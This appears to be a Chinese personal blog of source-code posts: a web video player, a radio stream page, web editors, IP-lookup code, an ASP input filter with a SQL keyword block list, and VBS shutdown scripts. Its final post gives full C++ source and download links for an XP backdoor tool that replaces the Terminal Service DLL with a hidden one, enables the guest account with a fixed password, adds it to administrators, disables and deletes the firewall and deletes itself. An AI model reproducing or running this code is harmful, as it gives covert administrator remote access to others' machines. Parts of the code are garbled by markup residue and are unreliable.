微信平台能用的视频播放器源码:CuPlayer

Pop:经常有设计网页的朋友现在肯定为多平台的兼容代码而头痛,特别是多媒体的代码,如视频、音乐的控制,往往在电脑的IE、Chrome等都可以,但是到了手机上如微信、UC上就不行了。

这里给大家分享一个可以用于多平台的网页视频播放器源码:CuPlayer 酷播播放器

CuPlayer效果如下:


Continue reading "微信平台能用的视频播放器源码:CuPlayer"

FM927楚天交通广播在线试听源码

武汉FM927楚天交通广播在火凤网提供了在线试听的地址(http://927.hbtv.com.cn/),经过Pop的分析采用的是浪弯融科(TVie) 的流媒体分享系统

浪弯融科(TVie) http://www.tvie.com.cn/为国内不少地方电视台提供的技术支持。网络解析速度和反映都很不错的


FM927楚天交通广播在线试听 精简源码 截图

经过Pop的精简,把源代码提出来了,主要结构

927.htm
common.js
jquery.js
tvieplayer.js

通过html调 Continue reading "FM927楚天交通广播在线试听源码"

两款开源在线编辑器:FCKEditor和TinyMCE

FCKEditor和TinyMCE这两款在线WEB编辑器,最早接触的时候实在动易的平台,使用的是FCK,现在换到PHP平台之后在WordPress上使用的是TinyMCE,两款都比较不错的。

1、CKEditor
CKEditor

FCKEditor 现在已经重新开发,并改名为 CKEditor。

CKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。“FCKeditor”名称中的“FCK” 是这个编辑器 Continue reading "两款开源在线编辑器:FCKEditor和TinyMCE"

免费查询IP地址归属地的PHP源码(QQWry.Dat纯真数据库版)

Pop:网上确实有不少这样的查询代码,找了一个多少小时终于找到了一个好用点的。

经过Pop的简单清理,代码简洁明了,适合于自己用。

主要是调用纯真数据库,功能上与ip138一样的。

而且支持.tk、.ru、.nl这样的域名查询。

截图:

演示地址:
http://ip.429006.com/

使用说明:

1、基于php环境

2、请下载纯真IP数据库“QQWry.Dat”放到“data”目录下

有网友说我的版本有所更新,确实Pop是后来做了一下精简,以及支持手机屏幕等优化,这个是我直接从FTP中下载下来的源文件,免费提供给大家

查询IP地址归属地的PHP源码 2015修改版 下载地址:
http://pan.baidu.com/s/1mh0j4Qc

ASP过滤特殊字符的模块源码

实现效果:通过对特殊字符的转换,可以保证数据的安全。

代码如下:

<%
Function FormatHTML(fString)
    If fString<>"" Then
        fString = trim(fString)
        fString = replace(fString, ";", ";")     ''分号过滤

>        fString = replace(fString, "--", "——") ''--过滤
        fString = replace(fString, "%20", "")    ''特殊字符过滤

p;    fString = replace(fString, "==", "")     ''==过滤
        fString = replace(fString, ">", ">")
        fString = replace(fString,

"<", "<")
        fString = Replace(fString, CHR(32), " ")   '' 
        fString = Replace(fString, CHR(9

: #000000; BACKGROUND-COLOR: #f5f5f5">), " ")    '' 
        fString = Replace(fString, CHR(34), """)
        fString = Replace(fString, CHR(39), "'

KGROUND-COLOR: #f5f5f5">") ''单引号过滤
        fString = Replace(fString, CHR(13), "")
        fString = Replace(fString, CHR(10) & CHR(10), "</P><P>

pan>")
        fString = Replace(fString, CHR(10), "<BR> ")
        FormatHTML = fString
    End If
End Function
%>

第二种代码:
<%
Function ChkInvaildWord(Words)
Const InvaildWords="select|update|delete|insert|@|--|,"   '需要过滤得字符以“|”隔开,最后结束的字符必须是|
ChkInvaildWord=True
InvaildWord=Split(InvaildWords,"|")
inWords=LCase(Trim(Words))

For i=LBound(InvaildWord) To UBound(InvaildWord)
If Instr(inWords,InvaildWord(i))>0 Then
  ChkInvaildWord=True
  Exit Function
End If
Next
ChkInvaildWord=False
End Function
%>

vbs实现定时自动关机及源码

pop:其实实现自动关机的核心就是shutdown的命令,at 21:00 shutdown -s 就是在21:00自动关机,会有30秒的提示;要是没有提示直接关机就是:at 21:00 shutdown -s -t 0 (注意:要开启“计划任务”的服务。)

将下面的代码保存为 *.vbs 后缀的文件,如shutdown.vbs

在输入时间或者秒数之后自动关机,代码如下:

Dim mytime,myout1,myout2
mytime=null
mytime=InputBox("请输入定时时间(格式23:10:00)"&vblf&"如果想倒计时关机,请输入倒计时时间"&vblf&"(单位/分钟)"&vblf&"输入“pop”可以马上关机"&vblf&"退出点“取消”","定时关机","23:10:00")
Set wshshell=wscript.createobject("wscript.shell")
If IsNumeric(mytime)=False Then
If IsDate(mytime)=True Then
wshshell.run "at "&mytime&" shutdown -s -t 0" '定时关机在任务列表中
myout1=MsgBox("定时成功!电脑将在"&mytime&"关机!放弃关机请点“取消”!",vbokcancel,"定时关机")
If myout1=vbcancel Then
wshshell.run "at /delete /y"
MsgBox "关机已取消!",64,"定时关机"
End If
Else
If mytime="pop" Then
wshshell.run "shutdown -s -t 0"
End If
MsgBox "输入错误!请重新输入!",64,"定时关机"
End If
Else
If mytime>600 or mytime<=0 Then
MsgBox "输入错误!倒计时不能多于10小时(600分钟)!",64,"定时关机"
wscript.quit
End If
wshshell.run "shutdown -s -t "&mytime*60
myout2=MsgBox("设置成功!电脑将在"&mytime&"分钟后关机!放弃关机请点“取消”!",vbokcancel,"定时关机")
If myout2=vbcancel Then
wshshell.run "shutdown -a"
MsgBox "关机已取消!",64,"定时关机"
End If
End If

这个比较简单,就是实现倒计时关机的VBS脚本代码:

set diaolei=createobject("wscript.shell")
dim shijian,guanji,hua
shijian=time
hua=inputbox("请输入你要用什么单位关机 1 代表分钟 2 代表小时 3 代表天")
if hua=1 then
guanji=inputbox("请输入你要几分钟后关机")
if datediff("m",shijian,time)>=guanji then
diaolei.run "rundll32.exe user.exe,exitwindows"
diaolei.run "shutdown -s -t 0"
elseif hua=2 then
guanji=inputbox("请输入你要几小时后关机")
if datediff("h",shijian,time)>=guanji then
diaolei.run "rundll32.exe user.exe,exitwindows"
diaolei.run "shutdown -s -t 0"
elseif hua=3 then
guanji=inputbox("请输入你要几天后关机")
if datediff("d",shijian,time)>=guanji then
diaolei.run "rundll32.exe user.exe,exitwindows"
diaolei.run "shutdown -s -t 0"
endif

ip138查询ASP源码

pop:在网上搜集到的,随便修改了一下。要正常使用的话,下载一个最新的纯真IP数据库到目录下就可以查询了。

代码如下:

<%
IP = request("IP")
If IP = "" then
IP = Request.ServerVariables("REMOTE_ADDR")
%>
<style type="text/css">
<!--
.search {
    height: auto;
    width: 200px;
}
.STYLE1 {
    font-size: 12px;
    font-weight: bold;
}
-->
</style>
<title>ip138ASP查询程序</title><table width="400" align="center">
  <tr>
    <td><span class="STYLE1">您的IP是:</span><%=IP%> &nbsp;<span class="STYLE1">来自:</span><%=Disp_IPAddressData(IP,2)%><%=Disp_IPAddressData(IP,3)%>
  <%End if%></td>
  </tr>
</table>

<br />
<table width="400" border="0" align="center">
  <tr>
    <td><span class="STYLE1">请输入您需要查询的IP地址:</span>
      <input name="IP" type="text" id="IP">
        <input type="submit" name="Submit" value="查询">
      </td>
  </tr>
</table>
<p align="center"><br />
<%
' ============================================
' 返回IP信息 Disp_IPAddressData(IP,0)
' ============================================
Function Look_Ip(IP)
        Dim Wry, IPType, QQWryVersion, IpCounter
        ' 设置类对象
        Set Wry = New TQQWry
        ' 开始搜索,并返回搜索结果
        ' 您可以根据 QQWry(IP) 返回值来判断该IP地址在数据库中是否存在,如果不存在可以执行其他的一些操作
        ' 比如您自建一个数据库作为追捕等,这里我就不详细说明了
        IPType = Wry.QQWry(IP)
        ' Country:国家地区字段
        ' LocalStr:省市及其他信息字段
        Look_Ip =Wry.Country & "" & Wry.LocalStr
        '''''Look_Ip = Wry.Country & ""
End Function
' ============================================
' 返回IP信息 JS调用
' ============================================
Function Disp_IPAddressData(IP, sType)
        Dim Wry, IPType
        Set Wry = New TQQWry
        IPType = Wry.QQWry(IP)
        Select Case sType
                Case 1 Disp_IPAddressData = IP
                Case 2 Disp_IPAddressData = Wry.Country
                Case 3 Disp_IPAddressData = Wry.LocalStr
                'Case Else Disp_IPAddressData = Wry.Country & "" & Wry.LocalStr
                Case Else Disp_IPAddressData = Wry.Country
        End Select
End Function
' ============================================
' 返回QQWry信息
' ============================================
Function WryInfo()
        Dim Wry, IPType, QQWry_tem(0), QQWry_tem1(1)
        ' 设置类对象
        Set Wry = New TQQWry
        IPType = Wry.QQWry("255.255.255.254")
        ' 读取数据库版本信息
        QQWry_tem(0) = Wry.Country & " " & Wry.LocalStr
        ' 读取数据库IP地址数目
        QQWry_tem1(1) = Wry.RecordCount + 1
        WryInfo = QQWry_tem(0)& " " & QQWry_tem1(1)
End Function

Class TQQWry
        ' ============================================
        ' 变量声名
        ' ============================================
        Dim Country, LocalStr, Buf, OffSet
        Private StartIP, EndIP, CountryFlag
        Public QQWryFile
        Public FirstStartIP, LastStartIP, RecordCount
        Private Stream, EndIPOff
        ' ============================================
        ' 类模块初始化
        ' ============================================
        Private Sub Class_Initialize
                Country                 = ""
                LocalStr                 = ""
                StartIP                 = 0
                EndIP                         = 0
                CountryFlag         = 0
                FirstStartIP         = 0
                LastStartIP         = 0
                EndIPOff                 = 0
                QQWryFile = Server.MapPath("QQWry.Dat")
        End Sub
        ' ============================================
        ' IP地址转换成整数
        ' ============================================
        Function IPToInt(IP)
                Dim IPArray, i
                IPArray = Split(IP, ".", -1)
                FOr i = 0 to 3
                        If Not IsNumeric(IPArray(i)) Then IPArray(i) = 0
                        If CInt(IPArray(i)) < 0 Then IPArray(i) = Abs(CInt(IPArray(i)))
                        If CInt(IPArray(i)) > 255 Then IPArray(i) = 255
                Next
                IPToInt = (CInt(IPArray(0))*256*256*256) + (CInt(IPArray(1))*256*256) + (CInt(IPArray(2))*256) + CInt(IPArray(3))
        End Function
        ' ============================================
        ' 整数逆转IP地址
        ' ============================================
        Function IntToIP(IntValue)
                p4 = IntValue - Fix(IntValue/256)*256
                IntValue = (IntValue-p4)/256
                p3 = IntValue - Fix(IntValue/256)*256
                IntValue = (IntValue-p3)/256
                p2 = IntValue - Fix(IntValue/256)*256
                IntValue = (IntValue - p2)/256
                p1 = IntValue
                IntToIP = Cstr(p1) & "." & Cstr(p2) & "." & Cstr(p3) & "." & Cstr(p4)
        End Function
        ' ============================================
        ' 获取开始IP位置
        ' ============================================
        Private Function GetStartIP(RecNo)
                OffSet = FirstStartIP + RecNo * 7
                Stream.Position = OffSet
                Buf = Stream.Read(7)
                EndIPOff = AscB(MidB(Buf, 5, 1)) + (AscB(MidB(Buf, 6, 1))*256) + (AscB(MidB(Buf, 7, 1))*256*256)
                StartIP = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256) + (AscB(MidB(Buf, 4, 1))*256*256*256)
                GetStartIP = StartIP
        End Function
        ' ============================================
        ' 获取结束IP位置
        ' ============================================
        Private Function GetEndIP()
                Stream.Position = EndIPOff
                Buf = Stream.Read(5)
                EndIP = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256) + (AscB(MidB(Buf, 4, 1))*256*256*256)
                CountryFlag = AscB(MidB(Buf, 5, 1))
                GetEndIP = EndIP
        End Function
        ' ============================================
        ' 获取地域信息,包含国家和和省市
        ' ============================================
        Private Sub GetCountry(IP)
                If (CountryFlag = 1 or CountryFlag = 2) Then
                        Country = GetFlagStr(EndIPOff + 4)
                        If CountryFlag = 1 Then
                                LocalStr = GetFlagStr(Stream.Position)
                                ' 以下用来获取数据库版本信息
                                If IP >= IPToInt("255.255.255.0") And IP <= IPToInt("255.255.255.255") Then
                                        LocalStr = GetFlagStr(EndIPOff + 21)
                                        Country = GetFlagStr(EndIPOff + 12)
                                End If
                        Else
                                LocalStr = GetFlagStr(EndIPOff + 8)
                        End If
                Else
                        Country = GetFlagStr(EndIPOff + 4)
                        LocalStr = GetFlagStr(Stream.Position)
                End If
                ' 过滤数据库中的无用信息
                Country = Trim(Country)
                LocalStr = Trim(LocalStr)
                If InStr(Country, "CZ88.NET") Then Country = ""
                If InStr(LocalStr, "CZ88.NET") Then LocalStr = ""
        End Sub
        ' ============================================
        ' 获取IP地址标识符
        ' ============================================
        Private Function GetFlagStr(OffSet)
                Dim Flag
                Flag = 0
                Do While (True)
                        Stream.Position = OffSet
                        Flag = AscB(Stream.Read(1))
                        If(Flag = 1 or Flag = 2 ) Then
                                Buf = Stream.Read(3)
                                If (Flag = 2 ) Then
                                        CountryFlag = 2
                                        EndIPOff = OffSet - 4
                                End If
                                OffSet = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256)
                        Else
                                Exit Do
                        End If
                Loop
                If (OffSet < 12 ) Then
                        GetFlagStr = ""
                Else
                        Stream.Position = OffSet
                        GetFlagStr = GetStr()
                End If
        End Function
        ' ============================================
        ' 获取字串信息
        ' ============================================
        Private Function GetStr()
                Dim c
                GetStr = ""
                Do While (True)
                        c = AscB(Stream.Read(1))
                        If (c = 0) Then Exit Do
                        '如果是双字节,就进行高字节在结合低字节合成一个字符
                        If c > 127 Then
                                If Stream.EOS Then Exit Do
                                GetStr = GetStr & Chr(AscW(ChrB(AscB(Stream.Read(1))) & ChrB(C)))
                        Else
                                GetStr = GetStr & Chr(c)
                        End If
                Loop
        End Function
        ' ============================================
        ' 核心函数,执行IP搜索
        ' ============================================
        Public Function QQWry(DotIP)
                Dim IP, nRet
                Dim RangB, RangE, RecNo
                IP = IPToInt (DotIP)
                Set Stream = CreateObject("ADodb.Stream")
                Stream.Mode = 3
                Stream.Type = 1
                Stream.Open
                Stream.LoadFromFile QQWryFile
                Stream.Position = 0
                Buf = Stream.Read(8)
                FirstStartIP = AscB(MidB(Buf, 1, 1)) + (AscB(MidB(Buf, 2, 1))*256) + (AscB(MidB(Buf, 3, 1))*256*256) + (AscB(MidB(Buf, 4, 1))*256*256*256)
                LastStartIP = AscB(MidB(Buf, 5, 1)) + (AscB(MidB(Buf, 6, 1))*256) + (AscB(MidB(Buf, 7, 1))*256*256) + (AscB(MidB(Buf, 8, 1))*256*256*256)
                RecordCount = Int((LastStartIP - FirstStartIP)/7)
                ' 在数据库中找不到任何IP地址
                If (RecordCount <= 1) Then
                        Country = "未知"
                        QQWry = 2
                        Exit Function
                End If
                RangB = 0
                RangE = RecordCount
                Do While (RangB < (RangE - 1))
                        RecNo = Int((RangB + RangE)/2)
                        Call GetStartIP (RecNo)
                        If (IP = StartIP) Then
                                RangB = RecNo
                                Exit Do
                        End If
                        If (IP > StartIP) Then
                                RangB = RecNo
                        Else
                                RangE = RecNo
                        End If
                Loop
                Call GetStartIP(RangB)
                Call GetEndIP()

                If (StartIP <= IP) And ( EndIP >= IP) Then
                        ' 没有找到
                        nRet = 0
                Else
                        ' 正常
                        nRet = 3
                End If
                Call GetCountry(IP)

                QQWry = nRet
        End Function
        ' ============================================
        ' 类终结
        ' ============================================
        Private Sub Class_Terminate
                On ErrOr Resume Next
                Stream.Close
                If Err Then Err.Clear
                Set Stream = Nothing
        End Sub
End Class
%>
<br />
Copyright (c) pop 2008 Allright Reserved.

xp下双开3389工具及源码

作者:cooldiyer
来源:红狼

很早时候写的,方便大家用,代码丢了我也可以百度到
编译后,直接运行,XP的终端自动开启激活guest,密码为cooldiyer,加管理员组
并且可以多用户登录

// xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer
//
#pragma comment(linker, "/FILEALIGN:0x200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
#include "stdafx.h"
#include "resource.h"
#include
#include
DWORD
GetProcessId(LPCTSTR szProcName)
{
PROCESSENTRY32 pe;
DWORD dwPid;
DWORD dwRet;
BOOL bFound = FALSE;

HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSP)
{
pe.dwSize = sizeof( pe );

for (dwRet = Process32First(hSP, &pe);
dwRet;
dwRet = Process32Next(hSP, &pe))
{
if (lstrcmpi( szProcName, pe.szExeFile) == 0)
{
dwPid = pe.th32ProcessID;
bFound = TRUE;
break;
}
}
CloseHandle(hSP);

if (bFound == TRUE)
{
return dwPid;
}
}
return NULL;
}

bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
if (!IsWindowVisible(hwnd))
return true;

DWORD dwWindowThreadId = NULL;
DWORD dwLsassId = (DWORD)lParam;
GetWindowThreadProcessId(hwnd, &dwWindowThreadId);
if (dwWindowThreadId == (DWORD)lParam)
{
// 关闭指定进程的窗口
SendMessage(hwnd, WM_CLOSE, 0, 0);
}
return true;
}
// 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114
int WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char* szData, DWORD dwData, int Mode)
{
HKEY hKey;
DWORD dwDisposition;
int iResult =0;

__try
{
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
switch(Mode)
{
case 0:
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
__leave;
case 1:
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
iResult =1;
break;
case REG_DWORD:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
iResult =1;
break;
case REG_BINARY:
break;
}
break;
case 2:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
case 3:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
bool DebugPrivilege(const char *PName, BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;

LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS)
{
bResult = FALSE;
}

CloseHandle(hToken);
return bResult;
}
bool UnloadRemoteModule(DWORD dwProcessID, HANDLE hModuleHandle)
{
HANDLE hRemoteThread;
HANDLE hProcess;

if (hModuleHandle == NULL)
return false;
hProcess=::OpenProcess(PROCESS_VM_WRITE|PROCESS_Create_THREAD|PROCESS_VM_OPERATION, FALSE, dwProcessID);
if (hProcess == NULL)
return false;

HMODULE hModule=::GetModuleHandle(”kernel32.dll”);
LPTHREAD_START_ROUTINE pfnStartRoutine = (LPTHREAD_START_ROUTINE)::GetProcAddress(hModule, “FreeLibrary”);
hRemoteThread=::CreateRemoteThread(hProcess, NULL, 0, pfnStartRoutine, hModuleHandle, 0, NULL);

if(hRemoteThread==NULL)
{
::CloseHandle(hProcess);
return false;
}
::WaitForSingleObject(hRemoteThread,INFINITE);
::CloseHandle(hProcess);
::CloseHandle(hRemoteThread);
return true;
}
HANDLE FindModule(DWORD dwProcessID, LPCTSTR lpModulePath)
{
HANDLE hModuleHandle = NULL;
MODULEENTRY32 me32={0};
HANDLE hModuleSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID);
me32.dwSize=sizeof(MODULEENTRY32);
if(::Module32First(hModuleSnap, &me32))
{
do
{
if (!lstrcmpi(me32.szExePath, lpModulePath))
{
hModuleHandle = me32.hModule;
break;
}
}while(::Module32Next(hModuleSnap,&me32));
}
::CloseHandle(hModuleSnap);
return hModuleHandle;
}
bool UnloadModule(LPCTSTR lpModulePath)
{
BOOL bRet = false;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);

HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//查找相关的进程
if(::Process32First(hProcessSnap, &pe32))
{
do
{
HANDLE hModuleHandle = FindModule(pe32.th32ProcessID, lpModulePath);
if (hModuleHandle != NULL)
{
bRet = UnloadRemoteModule(pe32.th32ProcessID, hModuleHandle);
}
}while (Process32Next(hProcessSnap,&pe32));
}
CloseHandle(hProcessSnap);
return bRet;
}
void StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_Create_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpService, Delete | SERVICE_START);
if ( NULL != hService )
{
StartService(hService, 0, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
{
HGLOBAL hRes;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes;

hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);
if (hResInfo == NULL)
return FALSE;
hRes = LoadResource(NULL, hResInfo);
if (hRes == NULL)
return FALSE;
hFile = CreateFile
(
lpFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
Create_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == NULL)
return FALSE;
WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
CloseHandle(hFile);

return TRUE;
}
void SetReg()
{
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService”,”Start”,REG_DWORD,NULL,2,0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon”, “KeepRASConnections”, REG_SZ, “1″, 0, 0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server”, “fDenyTSConnections”, REG_DWORD, NULL, 0, 0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core”, “EnableConcurrentSessions”,
REG_DWORD, NULL, 1, 0);
WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters”, “ServiceDll”, REG_EXPAND_SZ,
“%SystemRoot%\\system32\\termsrvhack.dll”, 0, 0);
}
void ReleaseDll()
{
char strSystemPath[MAX_PATH];
char strDllcachePath[MAX_PATH];
GetSystemDirectory(strSystemPath, sizeof(strSystemPath));
GetSystemDirectory(strDllcachePath, sizeof(strDllcachePath));
lstrcat(strSystemPath, “\\termsrvhack.dll”);
lstrcat(strDllcachePath, “\\dllcache\\termsrvhack.dll”);
ReleaseResource(IDR_DLL, “BIN”, strSystemPath);
ReleaseResource(IDR_DLL, “BIN”, strDllcachePath);
SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(strDllcachePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
}
bool IsOSXP()
{
OSVERSIONINFOEX OsVerInfoEx;
OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&OsVerInfoEx); // 注意转换类型
return OsVerInfoEx.dwMajorVersion == 5 && OsVerInfoEx.dwMinorVersion == 1;
}
void HijackService()
{
char strDll[MAX_PATH];
GetSystemDirectory(strDll, sizeof(strDll));
lstrcat(strDll, “\\termsrv.dll”);
// 释放termsrvhack.dll
ReleaseDll();

// 遍历进程卸载现在加载的DLL
DebugPrivilege(SE_DEBUG_NAME, TRUE);
if (!UnloadModule(strDll))
return;
DebugPrivilege(SE_DEBUG_NAME, FALSE);

// 关闭要弹出的出错对话框和因DLL强制卸载使一些服务异常终止而弹出来的自动关机对话框
// 对进程赋予关闭权限
DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
DWORD dwLsassId = GetProcessId(”csrss.exe”);
while (!AbortSystemShutdown(NULL))
{
// 一些系统是会弹出drwtsn32.exe
DWORD dwDrwtsn32Id = GetProcessId(”drwtsn32.exe”);
if (dwDrwtsn32Id != NULL)
{
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwDrwtsn32Id);
}
// 模块强制卸载时会出错,关闭csrss.exe进程弹出的出错窗口
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwLsassId);
Sleep(10);
}
DebugPrivilege(SE_SHUTDOWN_NAME, FALSE);
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
// 一些注册表的操作
SetReg();
if (IsOSXP())
{
// 替换DLL
HijackService();
}
// 开始终端服务
StartService(”TermService”);
// 激活guest,加管理员组,自删除,停止XP自带的防火墙,并删除它
char strCommand[1024];
char strSelf[MAX_PATH];
GetModuleFileName(NULL, strSelf, sizeof(strSelf));
wsprintf(strCommand, “cmd.exe /c net user guest /active:yes && net user guest cooldiyer && net localgroup administrators guest /add && net stop SharedAccess /y && del \”%s\” && sc delete SharedAccess”, strSelf);
WinExec(strCommand, SW_HIDE);
return 0;
}

xp下双开3389工具 下载地址:
http://www.uudisc.com/user/pop3067/file/995190
http://115.com/file/e6rrpcps
http://www.rayfile.com/files/5eb01170-3529-11dd-a86a-0014221f4662/
http://www.365sharing.com/files/793/b4f9aecbcb/
http://www.divshare.com/download/4578474-02d

xp下双开3389工具 源码:
http://www.divshare.com/download/4578473-7ad